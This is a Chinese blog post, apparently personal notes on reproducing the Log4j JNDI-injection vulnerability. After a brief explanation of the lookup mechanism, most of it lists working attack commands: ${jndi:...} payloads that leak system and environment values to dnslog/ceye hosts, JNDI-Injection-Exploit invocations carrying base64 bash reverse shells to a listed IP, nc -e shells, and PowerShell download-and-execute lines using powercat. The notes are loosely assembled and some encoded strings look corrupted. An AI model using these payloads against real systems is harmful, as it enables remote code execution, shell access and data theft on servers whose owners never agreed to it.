漏洞复现-log4j
原创
©著作权归作者所有:来自51CTO博客作者amingMM的原创作品,请联系作者获取转载授权,否则将追究法律责任
log4j
log4j是一个记录日志的组件,用来对程序状态进行动态记录
logger.info(“system propety: ${jndi:schema://url}”);
jndi:jndi解析器通过jdk获取内容,
反序列化为java对象作为jndi,
并打印,jndi就是这个从外部查找得到的java对象。
schema:获取方式,jdk支持多种不同的查找方式,包括
corbname, dns, iiop, iiopname, ldap, ldaps, rmi
因ldap写法简单,被作为常用的获取方式
jndi:ldap://http://w932vw.dnslog.cn
?${jndi:ldap://http://w932vw.dnslog.cn}
过程:解析器通过jdk向w932vw.dnslog.cn这个域名发起请求,域名服务器做出回应后,
下载一段字节流,将其反序列化并作为jndi返回,反序列化过程中,会执行字节流中所包含的程序。
复现过程:
新建nc监听
jndi开启服务
bash -i >& /dev/tcp/xx.xx.xx.xx/1234 0>&1
进行base64编码:
编码后:
bash -c {echo,YmFzaCAta3RjcC8zOS4xMDYuNDUuMjA2LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
执行命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZG8zOS4xMDYuNDUuMjA2LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}” -A xx.xx.xx.xxburp的payload
payload=${jndi:rmi://xx.xx.xx.xx/u0dilf}burp改包
反弹shell
${jndi:dns://${sys:java.version}.wt8q8m.ceye.io}
${jndi:ldap://${env:OS}.wt8q8m.ceye.io}
${jndi:ldap://${java:os}.wt8q8m.ceye.io}
python -m http.server 8080
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTU5LjI3LzE0NzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "101.43.159.27"
${jndi:dns://${sys:java.version}.wt8q8m.ceye.io}
${jndi:dns://${sys:os.name}.wt8q8m.ceye.io}
${jndi:dns://${sys:java.class.path}.wt8q8m.ceye.io}
${jndi:dns://${env:HOME}.wt8q8m.ceye.io}
${jndi:dns://${env:A8_HOME}.wt8q8m.ceye.io}
http://www.manongjc.com/detail/27-gxiymzbdwwvpdco.html
Linux.wt8q8m.ceye.io xx.xx.xx.xx 2022-07-04 08:27:12
nc -e /bin/bash 192.168.239.128 4566
nc xx.xx.xx.xx 1474 -e /bin/sh
ldap://101.43.159.27:1389/Basic/Command/Base64/bmMgMTAxLjQzLjE1OS4yNyAxNDc0IC1lIC9iaW4vc2g=
1.8.0_212.wt8q8m.ceye.io xx.xx.xx.xx 2022-07-04 07:23:32
注意: -A的地址填写攻击机的IP,也就是你的PC主机。
bash -i >& /dev/tcp/ip/1474 0>&1
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://ip:8088/cslow.ps1'); powercat -c 101.43.159.27 -p 1474 -e cmd
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://ip/powercat.ps1'); powercat -c 101.43.159.27 -p 6666 -e cmd
ftp pure-ftpd
http://t.zoukankan.com/gleaners-p-5725446.html linux
pom依赖
log4j2和jackson的RCE